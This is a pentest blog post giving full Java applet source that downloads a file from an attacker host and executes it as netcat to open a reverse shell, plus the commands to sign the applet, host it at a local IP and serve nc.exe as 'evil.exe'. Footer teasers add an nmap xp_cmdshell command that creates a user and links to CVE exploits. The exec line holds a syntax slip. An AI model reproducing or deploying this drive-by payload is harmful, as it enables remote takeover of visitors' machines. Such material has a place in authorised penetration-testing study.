Skip to main content

Download a file onto Victim Machine using Java Applet and Sign the Applet

This is the java code to download 

 import java.applet.*;  
 import java.awt.*;  
 import java.io.*;  
 import java.net.URL;  
 import java.util.*;  
 import java.net.URL;  
 /**  
 *     Author: Offensive Security  
 *     This Java applet will download a file and execute it.  
 **/  
 public class Java extends Applet {  
      private Object initialized = null;  
      public Object isInitialized()  
      {  
           return initialized;  
      }  
      public void init() {  
      Process f;  
      try {  
      String tmpdir = System.getProperty("java.io.tmpdir") + File.separator;  
      String expath = tmpdir + "evil.exe";  
      String download = "";  
      download = getParameter("1");  
      if (download.length() > 0) {  
           // URL parameter  
           URL url = new URL(download);  
           // Get an input stream for reading  
           InputStream in = url.openStream();  
           // Create a buffered input stream for efficency  
           BufferedInputStream bufIn = new BufferedInputStream(in);  
            File outputFile = new File(expath);  
            OutputStream out = new BufferedOutputStream(new FileOutputStream(outputFile));  
            byte[] buffer = new byte[2048];  
           for (;;) {  
            int nBytes = bufIn.read(buffer);  
                if (nBytes <= 0) break;  
                 out.write(buffer, 0, nBytes);  
                  }  
                  out.flush();  
            out.close();  
                  in.close();  
                  f = Runtime.getRuntime().exec("cmd.exe /c " + expath " KALI_IP 443 -e cmd.exe");  
            }  
      } catch(IOException e) {  
        e.printStackTrace();  
      }  
      /* ended here and commented out below for bypass */  
      catch (Exception exception)  
      {  
           exception.printStackTrace();  
      }  
 }  
 }  


Run the following Commands to Sign the Applet

javac Java.java 
echo “Permissions: all-permissions” > manifest.txt
jar cvf Java.jar Java.class
keytool -genkey -alias signapplet -keystore mykeystore -keypass mykeypass -storepass password123
jarsigner -keystore mykeystore -storepass password123 -keypass password123 -signedjar SignedJava.jar Java.jar signapplet
cp Java.class SignedJava.jar /var/www/html/
echo '<applet width="1" height="1" id="Java Secure" code="Java.class" archive="SignedJava.jar"><param name="1"
value="http://10.11.0.5:80/evil.exe"></applet>' > /var/www/html/java.html
cp /usr/share/windows-binaries/nc.exe /var/www/html/evil.exe


Access the KALI_IP on target machine.. thats it :)
you get a reverse shell

Comments

Popular posts from this blog

SQL DB & SQL Injection Pentest Cheat Sheet

1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds...

Host and Application locally and access it over the internet via ngrock

 ngrock creates a tunnel from your local machine to ngrock server and host it on the internet via their HTTPS url  Resister an account on ngrock and login #Download the client curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \ | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null \ && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \ | sudo tee /etc/apt/sources.list.d/ngrok.list \ && sudo apt update \ && sudo apt install ngrok #add the authToken ngrok config add-authtoken 2p7Oc #start a python server on your application python -m http.server 3000 #start the server - use the same port as the python server (3000 in below example) ngrok http http://localhost:3000 --request-header-add "ngrok-skip-browser-warning: true" Setting up a Request Header - Login to the application --> Univeral Gateway --> Edges - Create an Edge --> Request Headers --> `ngrok-skip-browser-warning :12 - go back to overv...

POC Links for CVE's

  Serach for a CVE here first - Trickest/cve Apache CVE-2024-38475 - CVE-2024-38475 #version less than 2.4.51 CVE-2021-44790 - h ttps://www.exploit-db.com/exploits/51193 #Apache HTTP Server 2.4.50 CVE-2021-42013 - https://www.exploit-db.com/exploits/50406 use https://github.com/mrmtwoj/apache-vulnerability-testing for below CVE's CVE-2024-38472: Apache HTTP Server on Windows UNC SSRF CVE-2024-39573: mod_rewrite proxy handler substitution CVE-2024-38477: Crash resulting in Denial of Service in mod_proxy CVE-2024-38476: Exploitable backend application output causing internal redirects CVE-2024-38475: mod_rewrite weakness with filesystem path matching CVE-2024-38474: Weakness with encoded question marks in backreferences CVE-2024-38473: mod_proxy proxy encoding problem CVE-2023-38709: HTTP response splitting EXIM #suppodily should work for versions below Exim 4.96.1 - is not accurate CVE-2023-42115 - https://github.com/AdaHop-Cyber-Security/Pocy/tree/main